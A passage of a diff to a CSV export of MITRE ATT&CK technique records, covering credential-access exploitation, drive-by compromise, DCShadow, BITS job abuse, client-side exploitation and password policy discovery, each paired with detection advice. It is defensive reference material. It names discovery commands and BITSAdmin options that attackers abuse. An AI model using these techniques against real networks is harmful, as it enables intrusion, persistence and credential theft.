error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1212', 'external_id': 'T1212'}, {'source_name': 'Technet MS14-068', 'description': 'Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']",,,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",False,['User'],"['Linux', 'Windows', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-28T01:37:46.704Z,Drive-by Compromise,"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Multiple ways of delivering exploit code to a browser exist, including: @@ -2838,44 +3076,72 @@ Typical drive-by compromise process: Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. -Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1189', external_id='T1189'), ExternalReference(source_name='Shadowserver Strategic Web Compromise', description='Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.', url='http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/'), ExternalReference(source_name='Volexity OceanLotus Nov 2017', description='Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.', url='https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/')]",attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-03-29 23:48:15.056000+00:00,Drive-by Compromise,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['File: File Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,,,,"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. +Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1189', 'external_id': 'T1189'}, {'source_name': 'Shadowserver Strategic Web Compromise', 'description': 'Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.', 'url': 'http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/'}, {'source_name': 'Volexity OceanLotus Nov 2017', 'description': 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.', 'url': 'https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['File: File Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. -Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. +Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. -Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",,,,,False,,,['User'],"['Windows', 'Linux', 'macOS', 'SaaS']",,,,1.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. +Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,['User'],"['Windows', 'Linux', 'macOS', 'SaaS']",1.3,,,,,,, +attack-pattern,attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-29T20:00:46.900Z,Exploitation for Defense Evasion,"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. -Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) +Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1211', 'external_id': 'T1211'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']",,"['Anti-virus', 'System access controls']","Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",False,['User'],"['Linux', 'Windows', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-04-13T21:36:04.956Z,BITS Jobs,"Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. -This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1207', external_id='T1207'), ExternalReference(source_name='DCShadow Blog', description='Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.', url='https://www.dcshadow.com/'), ExternalReference(source_name='Adsecurity Mimikatz Guide', description='Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.', url='https://adsecurity.org/?page_id=1821'), ExternalReference(source_name='GitHub DCSYNCMonitor', description='Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.', url='https://github.com/shellster/DCSYNCMonitor'), ExternalReference(source_name='Microsoft DirSync', description='Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.', url='https://msdn.microsoft.com/en-us/library/ms677626.aspx'), ExternalReference(source_name='ADDSecurity DCShadow Feb 2018', description='Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.', url='https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html')]",attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-02-09 15:13:27.670000+00:00,Rogue Domain Controller,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Vincent Le Toux'],"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Log analysis'],,,,"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) +The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) -Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) +Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) -Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) +BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1197', 'external_id': 'T1197'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'Microsoft BITS', 'description': 'Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx'}, {'source_name': 'Microsoft BITSAdmin', 'description': 'Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.', 'url': 'https://msdn.microsoft.com/library/aa362813.aspx'}, {'source_name': 'CTU BITS Malware June 2016', 'description': 'Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.', 'url': 'https://www.secureworks.com/blog/malware-lingers-with-bits'}, {'source_name': 'Mondok Windows PiggyBack BITS May 2007', 'description': 'Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'url': 'https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/'}, {'source_name': 'Symantec BITS May 2007', 'description': 'Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.', 'url': 'https://www.symantec.com/connect/blogs/malware-update-windows-update'}, {'source_name': 'PaloAlto UBoatRAT Nov 2017', 'description': 'Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/'}, {'source_name': 'Microsoft Issues with BITS July 2011', 'description': 'Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.', 'url': 'https://technet.microsoft.com/library/dd939934.aspx'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic', 'Ricardo Dias', 'Red Canary']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Service: Service Metadata', 'Command: Command Execution']","['Firewall', 'Host forensic analysis']","BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) -Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",,,,,False,,,['Administrator'],['Windows'],,,,2.0 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. +Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) -Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1199', external_id='T1199'), ExternalReference(source_name='CISA IT Service Providers', description='CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', url='https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers')]",attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-03-08 10:33:01.045000+00:00,Trusted Relationship,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']",,,,,"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",,,,,False,,,,"['Windows', 'SaaS', 'IaaS', 'Linux', 'macOS']",,,,2.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. +Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-15T19:01:34.932Z,Exploitation for Client Execution,"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. -The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) +Several types exist: -Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) +### Browser-based Exploitation -BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1197', external_id='T1197'), ExternalReference(source_name='Microsoft COM', description='Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'), ExternalReference(source_name='Microsoft BITS', description='Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.', url='https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx'), ExternalReference(source_name='Microsoft BITSAdmin', description='Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.', url='https://msdn.microsoft.com/library/aa362813.aspx'), ExternalReference(source_name='CTU BITS Malware June 2016', description='Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.', url='https://www.secureworks.com/blog/malware-lingers-with-bits'), ExternalReference(source_name='Mondok Windows PiggyBack BITS May 2007', description='Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.', url='https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/'), ExternalReference(source_name='Symantec BITS May 2007', description='Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.', url='https://www.symantec.com/connect/blogs/malware-update-windows-update'), ExternalReference(source_name='PaloAlto UBoatRAT Nov 2017', description='Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.', url='https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/'), ExternalReference(source_name='Microsoft Issues with BITS July 2011', description='Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.', url='https://technet.microsoft.com/library/dd939934.aspx'), ExternalReference(source_name='Elastic - Hunting for Persistence Part 1', description='French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', url='https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1')]",attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-13 21:36:04.956000+00:00,BITS Jobs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Brent Murphy, Elastic', 'David French, Elastic', 'Ricardo Dias', 'Red Canary']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Service: Service Metadata', 'Command: Command Execution']","['Firewall', 'Host forensic analysis']",,,,"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) +Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. -Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) +### Office Applications -Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",,,,,False,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.2 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. +Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. -Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. +### Common Third-party Applications + +Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1203', 'external_id': 'T1203'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,,"['Linux', 'Windows', 'macOS']",1.2,False,['Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.'],,,,, +attack-pattern,attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-26T14:11:39.499Z,Password Policy Discovery,"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). + +Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). + +Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1201', 'external_id': 'T1201'}, {'source_name': 'Superuser Linux Password Policies', 'description': 'Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.', 'url': 'https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu'}, {'source_name': 'Jamf User Password Policies', 'description': 'Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.', 'url': 'https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines'}, {'source_name': 'AWS GetPasswordPolicy', 'description': 'Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima', 'Sudhanshu Chauhan, @Sudhanshu_C']","['User Account: User Account Metadata', 'Process: Process Creation', 'Command: Command Execution']",,Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.,False,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",1.3,,,,,,, +attack-pattern,attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-01-06T19:32:28.382Z,Supply Chain Compromise,"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* 